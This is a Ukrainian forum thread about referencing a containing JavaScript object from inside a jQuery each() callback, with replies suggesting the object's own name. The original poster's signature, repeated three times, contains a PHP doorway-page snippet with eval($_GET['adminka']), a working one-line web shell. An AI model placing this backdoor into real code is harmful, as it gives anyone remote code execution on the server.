1 Востаннє редагувалося Invader (02.04.2014 16:59:34)

Тема: Як зіслатися на об’єкт-контейнер?

var obj = {
    attr:0,
    func:function() {
        jQuery('input:radio.class').each(function() {
            if (this.checked) {
                // отут якось потрібно змінити властивість attr об’єкту obj
            }
        }
    }
}

Додумався до такого:

var obj = {
   …
   main: function() { this.func(this); }
   …
};
obj.main();

але незручно. Потрібно щось типу this.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

2

Re: Як зіслатися на об’єкт-контейнер?

Згадав про глобальний об'єкт і:

ii = {
   fu:function(){
       if (window.ii === this) { alert('Equal'); }
   }
};
ii.fu()
<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

3

Re: Як зіслатися на об’єкт-контейнер?

var obj = {
    attr:0,
    func:function() {
        jQuery('input:radio.class').each(function() {
            if (this.checked) {
                obj.attr = ...
            }
        }
    }
}

нє?

Подякували: Invader1

4

Re: Як зіслатися на об’єкт-контейнер?

І ще почитайте (УВАГА! Ворожа мова!).

Подякували: Invader1

5

Re: Як зіслатися на об’єкт-контейнер?

Так працює.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!